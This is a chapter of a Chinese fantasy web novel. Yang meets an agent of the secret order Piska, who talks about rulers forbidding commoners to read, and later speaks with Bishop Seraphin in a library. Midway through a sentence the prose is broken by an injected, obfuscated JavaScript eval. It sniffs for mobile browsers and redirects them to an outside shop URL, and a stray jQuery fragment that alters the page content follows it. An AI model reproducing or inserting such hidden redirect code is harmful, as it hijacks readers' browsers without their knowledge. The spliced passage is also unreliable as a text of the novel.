扬来到水边时，无端刮起一阵风，黑漆漆的水面扭动起来，他的后脖子一凉，酒醒了大半。
今晚原本是轮到由他看护铁头，几个人从老罗的锅回来后，那个自愿来照顾的哑巴妇人便回去休息了。临走之前，她递给扬一张羊皮纸条，纸上只有一句话。
“来水边见我。——庇斯卡”
“谁给你的？”扬问。
妇人指着铁头伤口上新换的麻布。
“有人来过？还给铁头换了药，对吗？那个人给你的？”
对面的人点点头。
莱昂说：“难道是上次来的老太婆？”
扬没说话，盯着那张纸。
庇斯卡。
他记得这个名字，在那个暴雨之夜，他穿过海边浸满水的幽暗隧道，碰到的就是庇斯卡的人。但当时他觉得那人装神弄鬼，没有理会。
而现在，他有了一些新的想法。
风停了。
“你很准时。”
一种让扬感觉头皮炸开的声音，在他身后响起，还是上次那个诡异的，带着点吟唱语调的女声。
她站在他身后几步之外，不知何时出现的。
“庇斯卡？”扬试探着问，“给我纸条的哑巴，也是你的人？”
“庇斯卡无处不在。”那人说，“也可以说，庇斯卡从不是某一个人。我们是一种……共识，一个标记，或者说，一种意志。”
她从黑暗中走出，手中托着一个圆形的光球，那东西似乎是一瞬间亮起的。扬下意识地眯了眯眼，伸出胳膊挡在眼前。
借着光，他终于看清了那个女人，那是一张年轻的，没有任何记忆点的脸，五官平淡，嘴唇很薄，看起来很严肃。
“你的‘灯’不错。”扬说。
“工具而已。”她把光球放进墙壁的一个凹槽。光球严丝合缝地嵌入，照亮了半径数尺的一小片区域。
扬注视着那片光，开口道：“所以你，你们，到底是什么人？为什么找上我？”
“在谈‘做什么’之前，我想先问你两个问题。”她没有给扬说“想”或者“不想”回答的机会。
“第一个问题——”她看着他，“一个人，从识字，到理解——需要多久？”
扬没想到是这样一个问题。
“看是什么书，也看是什么人。”他谨慎地回答，“有些人，一辈子也只认得自己的名字。有些人……可能很快，十年？如果他们有机会，也有那个脑子。但书是看不完的——”他想到藏书室里数以万计的书籍。
“的确。”女人赞许地说，“如果给予一个人学习的机会，最多十年，他就能理解这个世界上的大部分书籍里讲述的道理。”
扬有些摸不着头脑，他不明白这个问题的意义。
“第二个问题。”女人说，“如果一个文明……它的统治者，或者说，掌控知识的人，突然立法，严禁所有非特定阶层的人读书识字，严禁平民拥有、触碰任何一本书，违者剜眼断手，重者焚身……”
“他们封锁一切知识，将最前沿的技术与最深奥的原理，统统封锁在某个不可触及的高塔之内，与平民的生活彻底隔绝。与此同时，用宗教来控制他们的精神。你认为，需要多久，这个文明会崩塌成只会吞咽和排泄的废墟？”
扬忽然觉得不寒而栗。
“大浩劫”后的世界，已经过去了三百年。在遇见奥布里之前，除了母亲，他周围没有一个人识字，大家只关心两件事：一是吃饱，二是要记得祷告。
在灰港，每个周日，整个城区就会想起震耳欲聋的嗡嗡声，那些嗡声会连成一片，任他走到哪儿都如影随形，那是祷告的声音。
男人，女人，老人，孩子，嘴里通通在说一句话。
“主在上。”
“主在上。”
“主在上”……
没有希望，但仍要祷告。
“这……就是灰港？”扬的声音有些颤抖，“但是，为什么？”
“因为我们被放弃了，就这么简单。”女人说，“人的学习能力很强，短短十年就能掌握大部分可以用到的技术与知识。但这种学习与思考的能力，对某些人来说却是危险的信号——最好的办法，就是从根本上阉割思考的能力。”
她往水面的方向走去，水面摇晃着，反射出黑色缎面般的光泽。
“庇斯卡，是鱼骨的意思。肉烂了，骨头还在，沉在水底。我们保存不该被忘记的一切。”
她转过头。
“与我们合作。你们想救莉莉丝，巧的是，庇斯卡也想。”
“事实上，我们已经无计可施了。”扬恢复了镇定，“留给我们的时间太少，拉……我的同伴在教廷也毫无根基，我们只能一步一步来。”
“如果我们可以做到呢？”女人说，“只需要你们，帮个小忙。”
……
扬几乎一夜没睡。
从水边回来后，他先是去了铁头那里，和莱昂换了班。
铁头已经脱离了生命危险，但还是在昏迷之中，无法与他交流。扬将头靠在木箱边，没有一点睡意。
次日清晨，莉娜来到小屋，被哥哥眼中蛛网般的血丝和异样的清醒吓了一跳。扬没有解释，只是简单交代了两句，便匆匆离开。
拉维恩没有像往常一样在北门等他。扬便直接去了藏书室，推开门，里面漆黑一片。
大概是昨天喝醉了睡过头？
扬点亮烛台，走到第三排书架旁，开始今天的整理工作。他心不在焉地从上层抽出一本小书。
《算术艺术》。
扬对艺术向来不感兴趣，那是属于贵族们的玩具。但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517690|203235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“算术”……计算、测量，这些是实实在在的东西。
鬼使神差地，他翻开了这本书，扉页上写了这样一句话。
“数字即是现实，现实亦可编织。”
就在这时，藏书室沉重的大门被缓缓推开了。
“你来了？昨天回去后是不是——主教，您好。”
他看见进来的人是塞拉芬。
“早上好，孩子。”塞拉芬走进来，环顾了一圈。
“拉维恩？”
扬说：“还没到。”
“唔，”塞拉芬的语气里带着恰到好处的遗憾，“我本来是想找他道歉的，昨天实在是身体不适，未能与他详谈。”
他的视线落在扬手中那本《算术艺术》上，停留了片刻。
“《算术艺术》？这本书……很有意思。虽然年代久远，其中的一些思想，至今看来仍不乏闪光之处。如果时间不紧张的话，我建议你可以看看。”他说，“我听维克多说起过你，他说你在计算方面颇有天赋，这很难得。”
“您认识维克多？”扬问。
“他是我在圣碑城的学生。”塞拉芬摩挲着拇指上的主教戒指，“我的这位学生，虽然在学术方面的造诣不高，但胜在踏实。你如果对工程方面感兴趣的话，可以多和他请教。”
扬不知道该说什么，维克多是禁区工程师的头儿，在塞拉芬这里，却只有一个“造诣不高”的评价。
短暂的沉默在藏书室里蔓延。
塞拉芬再次开口：“你和我曾经的一个学生很像。”
扬说：“我这样的出生，怎么敢与您的学生相提并论。”
塞拉芬显然听出了他语气中那点刻意为之的讽刺，但没有在意。
“门第？”他轻轻摇头，“我从来没有什么门第之见。我看重的是这里，”他指了指自己的额头。
“我那位学生……和你一样，并无显赫家世，甚至出身更为寒微。”塞拉芬说，“她很聪明，甚至可以说是……耀眼。我本以为，她能理解，甚至实践某些更为宏大的构想。需要超越常规的洞察力和不拘一格的思维方式。她曾让我看到那种可能。”
“她？”
塞拉芬没有回答这个问题。
“我们之间的分歧……太大了。她太过执着于所谓的自由意志，认为‘编织’是为了理解与创造更多的可能。而我则相信，真正的秩序之美，在于精准——最高形式的‘编织’，是让万物各归其位，各行其是，最终达成和谐而稳固的……永恒。”
他的目光直直看向扬，仿佛要透过他的眼睛，看到某个人的影子。
“我们无法说服彼此。她选择了离开。很遗憾。我时常想，如果她当初能更……务实一些，或许能避免许多不必要的弯路，甚至……后来的悲剧。”
“她死了？”扬问。